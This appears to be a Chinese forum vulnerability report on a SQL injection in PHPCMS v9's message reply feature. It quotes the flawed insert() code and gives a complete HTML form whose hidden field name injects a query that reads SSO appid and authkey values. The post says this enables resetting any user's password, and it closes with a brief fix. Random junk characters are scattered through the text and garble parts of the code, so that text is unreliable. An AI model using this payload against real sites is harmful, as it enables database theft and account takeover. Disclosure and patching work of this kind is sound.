|
简要描述:! k Z) b( {3 {% P e
0 x: c* b1 }: N0 {8 K第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; f" f+ y9 ^4 Z J& }1 b/ [( i6 m
* N6 j. z5 x+ h/ f* M7 v- L$ p明天再更新下一个漏洞。
* v" I+ m7 Z' ^$ b2 `6 Z2 z1 s( |; F详细说明:' t9 W2 g' z" G
在/phpcms9/phpcms/modules/message/index.php中有代码如下:; s2 ]( X- j" g& O
3 O: W- I" j% c1 h& m$messageid = $this->message_db->insert($_POST['info'],true);
2 J/ }8 x1 r7 T# k4 \
9 t( O9 R% o# r* @; P
) x$ p9 X( l5 w$ H) B5 ^1 Linsert方法是key value的,代码如下:& h% L$ E- m) N! e- a. o0 t
7 K3 O+ L* v3 A+ Apublic function insert($data, $table, $return_insert_id = false, $replace = false) {
& W6 X0 s e; r8 p9 K if(!is_array( $data ) || $table == '' || count($data) == 0) {
; S. b' }# x3 } A return false;
$ k u! f+ K `# j _# Q$ X+ Y }
2 ^4 k* {: `" i" j( j9 d
3 X* e# D& d# b9 I& y, ?: C $fielddata = array_keys($data);6 f/ q. h4 J# L
$valuedata = array_values($data);) J- d; P0 t) N$ S+ e0 U
array_walk($fielddata, array($this, 'add_special_char'));
6 y2 n/ P1 H8 ?+ a2 x2 d: O array_walk($valuedata, array($this, 'escape_string'));
. Y) n6 }: m( Y% V% d+ n
8 V* i3 s8 k/ |9 z+ P $field = implode (',', $fielddata);) l; v |4 d x$ O" R
$value = implode (',', $valuedata);# J; [( E& D( k8 ~) H- W
' t: R, F0 y5 G( s `! ` $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';7 X V# c+ a8 U: ?- l: u- u
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
: f& L, U/ [$ B9 F8 [4 e $return = $this->execute($sql);# M9 D, P- Q6 e5 [3 A' R
return $return_insert_id ? $this->insert_id() : $return;- G. Q& D2 \% u4 d, y# Q" K
}
: f% Y$ g2 A) e/ J% z) @. | ~7 Z; t+ ~5 r6 ]- ]+ a0 Y$ @
7 Y1 k) q- M! R) \+ X( C4 l3 g嗯,很遗憾的是5 c7 ?+ s9 {7 j/ K
' ^% Q4 ?% ^2 s0 o8 F
array_walk($fielddata, array($this, 'add_special_char'));4 b1 ~& i1 g' i, J
1 y8 b) ~! v8 O1 E) v
]- ]7 }& A* f# y中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ F) i1 H* q/ R2 Q; v* u8 }
/ L" k& W. ^) B! [! L% Y5 p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。& c3 A6 Q4 U, s( J* X" ]5 a( N0 d' P
7 g. e8 g, @4 W7 F8 E
漏洞证明:
4 E R% y- c9 G: G读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
3 W7 E" s, x% c: B9 x' K
$ h3 l2 G* J' K% E1 o7 F3 }. K0 C+ a$ h6 \ f; `
表单如下:用户名什么的得自己改一改。
I; h8 a8 B! L, ^% A<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">; A; f9 e( A( M9 `7 l l" A0 e; k
<table width="100%" cellspacing="0" class="table_form">
4 N1 l& Z1 ^& L<tr>* _: G) h! r* \: K' m
<th>标 题:</th>
8 q# c, W: R1 a0 ~4 C9 C9 V( v* W<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
2 j O6 k, i- Q</tr> + N1 _7 W# i) `+ `( C6 z8 T
<tr> Q% O t( L/ a% m" l" c; \& z
<th>内 容:</th>
5 p: W1 `' _( O5 z+ y<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td># r4 o- d$ W3 B5 R" [, y9 i6 t
</tr>
$ z8 ^6 D- s7 w/ [% ?<input type="hidden" name="info[replyid]" value="2" /> 2 t) R$ l* q# W. E
<input type="hidden" name="info[send_to_id]" value="cc" />
2 b& p/ U! }, z4 _& ^6 [<input type="hidden" name="info[send_from_id]" value="hh">: \: y1 i8 j# k+ W: t
<!-- 漏洞的利用重点在这里开始 -->
, h6 e8 G! U3 x: Z. H6 [<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ n$ {! D. r5 {
<!-- 漏洞的利用重点在这里结束 -->
) l2 S1 ?7 ] Y8 T& i% V<tr>
; Z: ~% f) f- o4 ~9 o; r<th>验证码:</th>
: w* M) r" J F: n2 n x+ w8 A6 _" u<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>& d1 @: H, o2 j
</tr>5 J2 Y0 y) }( P' n) _
<tr>
4 z; r+ U6 p& P2 N<td></td>& K6 C/ ^* S( p& |
<td colspan="2"><label>5 z' M" H# U+ F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>" j `+ V: }* D' i3 z
</label></td>
, ?: Z; Z( r/ w; T( H* V( g</tr>9 |2 V2 c( r' S# {% A% Y0 y2 A
</table>. c; X* W- h# K9 m! t
</form>/ E7 y) [5 C# [$ {
在add_special_char函数内对key做过滤就可以了。3 v! A% c2 _6 W3 F8 S! e! L+ F
8 W" H& K: V& J- a$ }
) T3 D2 g+ @, e% @; ]8 O7 V5 [1 ?! O1 O# f6 ~" h
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|